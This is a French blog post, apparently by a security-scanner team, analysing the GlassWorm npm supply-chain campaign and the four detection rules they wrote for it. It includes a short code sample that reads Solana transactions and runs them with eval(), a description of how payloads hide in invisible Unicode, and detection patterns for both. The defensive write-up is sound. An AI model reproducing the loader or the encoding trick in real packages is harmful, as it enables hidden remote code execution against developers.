Mars 2026. La campagne GlassWorm compromet 433+ packages npm avec deux techniques qu'on n'avait jamais vues ensemble : du code cache dans des caracteres Unicode invisibles, et un serveur C2 stocke sur la blockchain Solana.
Voici comment on l'a detectee, et les 4 nouvelles regles qu'on a du ecrire.
Le probleme : du code invisible
Le premier vecteur est elegant dans sa simplicite. Le fichier JavaScript semble vide ou inoffensif a l'oeil nu. Mais il contient des dizaines de caracteres Unicode zero-width - des caracteres qui ne s'affichent pas mais qui existent bien dans le fichier.
Les caracteres utilises :
- Zero-width : U+200B (space), U+200C (non-joiner), U+200D (joiner)
- BOM hors position 0 : U+FEFF - le Byte Order Mark est normal en debut de fichier, suspect ailleurs
- Word joiner : U+2060, Mongolian vowel separator : U+180E
- Variation selectors : U+FE00-FE0F et U+E0100-E01EF
- Tag characters : U+E0001-U+E007F
Le payload est encode dans ces caracteres. Un decoder utilise .codePointAt() combine avec des offsets 0xFE00 ou 0xE0100 pour reconstruire le code executable.
Le deuxieme vecteur : C2 blockchain
Les serveurs C2 classiques ont un defaut fatal pour l'attaquant : on peut les takedown. Un nom de domaine se saisit, une IP se bloque. La blockchain, non.
GlassWorm utilise @solana/web3.js pour lire les instructions de commande directement depuis des transactions Solana :
import { Connection } from '@solana/web3.js';
const conn = new Connection('https://api.mainnet-beta.solana.com');
const sigs = await conn.getSignaturesForAddress(c2Address);
const tx = await conn.getTransaction(sigs[0].signature);
// tx.data contient les instructions C2
eval(decode(tx.data));
Le serveur C2 est la blockchain elle-meme. Immuable, decentralise, impossible a saisir. Les methodes surveillees : getSignaturesForAddress, getTransaction, getParsedTransaction.
Les 4 nouvelles regles
OBF-003 - unicode_invisible_injection
Detection des caracteres Unicode invisibles dans le code source. La fonction countInvisibleUnicode() dans obfuscation.js compte les caracteres zero-width, BOM hors position, variation selectors, et tag characters. Seuil : >= 3 caracteres invisibles dans un fichier = alerte HIGH.
function countInvisibleUnicode(content) {
let count = 0;
for (let i = 0; i < content.length; i++) {
const cp = content.codePointAt(i);
if (cp === 0x200B || cp === 0x200C || cp === 0x200D) count++;
if (cp === 0xFEFF && i > 0) count++; // BOM hors position 0
if (cp === 0x2060 || cp === 0x180E) count++;
if (cp >= 0xFE00 && cp <= 0xFE0F) count++;
if (cp >= 0xE0100 && cp <= 0xE01EF) count++;
if (cp >= 0xE0001 && cp <= 0xE007F) count++;
if (cp > 0xFFFF) i++; // supplementary plane
}
return count;
}
Pourquoi le seuil de 3 ? Un BOM isole ou un zero-width joiner dans du texte internationalise est normal. Trois ou plus dans du code JavaScript ne l'est jamais.
AST-053 - unicode_variation_decoder
Detection du pattern de decodage : .codePointAt() combine avec des constantes 0xFE00 ou 0xE0100 dans le meme fichier. Ce compound est specifique au decoder GlassWorm.
AST-054 - blockchain_c2_resolution
Detection de l'import @solana/web3.js combine avec les methodes C2 (getSignaturesForAddress, getTransaction, getParsedTransaction). Severite adaptative :
- CRITICAL si combine avec
eval()ouexec()- c'est l'execution du payload C2 - HIGH sinon - l'import Solana avec ces methodes est suspect mais pourrait etre un usage DeFi legitime
AST-055 - blockchain_rpc_endpoint
Detection des endpoints RPC hardcodes vers Solana (api.mainnet-beta.solana.com), Infura, ou Ankr. Severite MEDIUM - c'est un signal faible qui contribue au score composite.
IOC et infrastructure
En complement des regles heuristiques, ajout d'IOC specifiques GlassWorm :
- 6 IPs C2 ajoutees a
SUSPICIOUS_DOMAINS_HIGH - 8 packages compromis ajoutes aux IOC builtin (
builtin.yaml) - 4 marqueurs, 2 fichiers de signature, 1 hash
Resultats
| Metrique | Avant | Apres |
|---|---|---|
| Regles | 143 | 147 (+4) |
| Tests | 2266 | 2300 (+34) |
| FPR | 12.9% | 12.9% (inchange) |
Zero faux positif ajoute. Les packages Solana legitimes (wallets, DeFi) n'utilisent pas eval() apres getTransaction(), et ne contiennent pas de caracteres Unicode invisibles.
Lecon
GlassWorm montre que les attaquants innovent sur deux fronts simultanement : l'obfuscation (Unicode invisible) et l'infrastructure (blockchain C2). La detection doit couvrir les deux. Les IOC seuls ne suffisent pas - il faut des heuristiques comportementales pour detecter les techniques, pas juste les instances.
La blockchain comme C2 est un changement de paradigme. On ne peut plus compter sur le takedown de l'infrastructure pour stopper une campagne. La detection cote client devient la seule ligne de defense.